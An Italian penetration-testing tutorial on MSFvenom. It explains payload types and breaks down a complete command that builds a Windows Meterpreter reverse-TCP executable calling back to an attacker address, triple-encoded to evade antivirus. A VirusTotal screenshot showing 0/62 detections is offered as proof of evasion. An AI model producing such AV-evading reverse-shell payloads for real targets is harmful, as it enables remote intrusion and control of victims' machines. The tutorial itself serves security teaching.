

Malware Analysis

Introduzione a MSFvenom

MSFvenom è uno strumento avanzato incluso nel framework Metasploit, largamente utilizzato nel campo della sicurezza informatica per creare payload malevoli e sfruttare vulnerabilità. MSFvenom combina le funzionalità di due strumenti precedenti, msfpayload e msfencode, fornendo una soluzione unificata per generare e offuscare payload in diversi formati.

L'obiettivo principale di MSFvenom è creare codici dannosi (payload) che possono essere utilizzati per testare la sicurezza dei sistemi. Tuttavia, è importante sottolineare che il suo utilizzo deve essere etico e confinato a scopi legittimi, come i penetration test. Lo strumento permette di:

- Generare payload personalizzati in base a target specifici.
- Offuscare il codice per aggirare i sistemi di rilevamento, come gli antivirus.
- Creare file eseguibili in diversi formati, tra cui .exe, .elf, .apk, e altro.

Come Funziona un Payload

Un **payload** è il codice eseguibile che viene iniettato o eseguito su un sistema target per ottenere un risultato specifico, come:

- **Reverse Shell**: Stabilire una connessione dal target all'attaccante.
- **Meterpreter**: Un payload avanzato che offre una shell interattiva con molteplici funzionalità per l'esplorazione e il controllo del sistema.
- **Keylogger o Downloader**: Software che registrano input o scaricano ulteriori file malevoli.

Un payload può essere personalizzato per adattarsi all'architettura del sistema bersaglio (ad esempio, x86 o x64) e al sistema operativo (Windows, Linux, Android).

Struttura del Comando

Il comando fornito è un esempio complesso di generazione e offuscamento di un payload con MSFvenom. Analizziamolo passo per passo:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 150 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 150 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 150 -o polimorficomm_v2.exe
```

1. Prima parte: Creazione del payload

- `-p windows/meterpreter/reverse_tcp`: Specifica il payload da utilizzare, in questo caso una connessione **reverse_tcp** per Meterpreter.
- `LHOST=192.168.1.23`: L'indirizzo IP dell'attaccante (dove arriverà la connessione).
- `LPORT=5959`: La porta usata per la connessione.
- `-a x86`: Specifica l'architettura della CPU (32-bit).

- --platform windows: Indica il sistema operativo target (Windows).
- -e x86/shikata_ga_nai: Utilizza l'encoder **Shikata Ga Nai** per offuscare il payload.
- -i 150: Esegue 150 iterazioni dell'encoder per aumentarne l'offuscamento.
- -f raw: Produce un payload grezzo (non ancora formattato come file eseguibile).

2. Pipe e secondo encoding

- Il payload grezzo viene passato tramite | (pipe) ad un nuovo comando MSFvenom.
- -e x86/xor_dynamic: Utilizza un secondo encoder per un ulteriore livello di offuscamento, basato su XOR.
- Anche qui vengono applicate 150 iterazioni.

3. Terzo livello di encoding

- Lo stesso payload viene passato una terza volta, questa volta riapplicando l'encoder x86/shikata_ga_nai con ulteriori 150 iterazioni.

4. Output finale

- -o polimorficomm_v2.exe: Salva il file finale con il nome polimorficomm_v2.exe. Questo è un eseguibile offuscato pronto per essere eseguito su un sistema Windows.

Caricando il file su **VirusTotal** con un punteggio di 0/62, più volte, ciò può voler dire che il codice è meno comprensibile e meno rilevabile.

The screenshot shows the VirusTotal interface for a file named 'prova2.exe' (SHA256: c665ea0f375a458f4e66da19e566cbff24982ec6dded2021b8f4b6a531685091). The file size is 20.45 KB and it was analyzed 'a moment ago'. The Community Score is 0/62. A message states: 'No security vendors flagged this file as malicious'. Below this, there are tabs for DETECTION, DETAILS, and COMMUNITY. A banner encourages joining the community. The 'Security vendors' analysis table shows 10 vendors, all reporting 'Undetected'.

Security vendors' analysis		Do you want to automate checks?	
Acronis (Static ML)	Undetected	AhnLab-V3	Undetected
AliCloud	Undetected	ALYac	Undetected
Antiy-AVL	Undetected	Arcabit	Undetected
Avast	Undetected	AVG	Undetected
Avira (no cloud)	Undetected	Baidu	Undetected
BitDefender	Undetected	Bkav Pro	Undetected

Malware e Payload

Un **malware** è un software progettato per danneggiare, manipolare o ottenere accesso non autorizzato a un sistema informatico. Esistono vari tipi di malware:

- **Trojan:** Mascherato da software legittimo.
- **Worms:** Si replicano autonomamente.
- **Spyware/Keylogger:** Raccoglie informazioni personali.
- **Ransomware:** Blocca l'accesso ai dati fino al pagamento di un riscatto.

Un **payload**, invece, è solo una parte del malware. Rappresenta ciò che il malware "fa" una volta

eseguito, come:

- Concedere accesso remoto.
- Cancellare o cifrare file.
- Trasmettere dati sensibili.

I payload generati con MSFvenom sono utilizzati per testare la resistenza dei sistemi ai cyber attacchi. Tuttavia, se non gestiti eticamente, possono diventare strumenti potenti nelle mani di attori malevoli.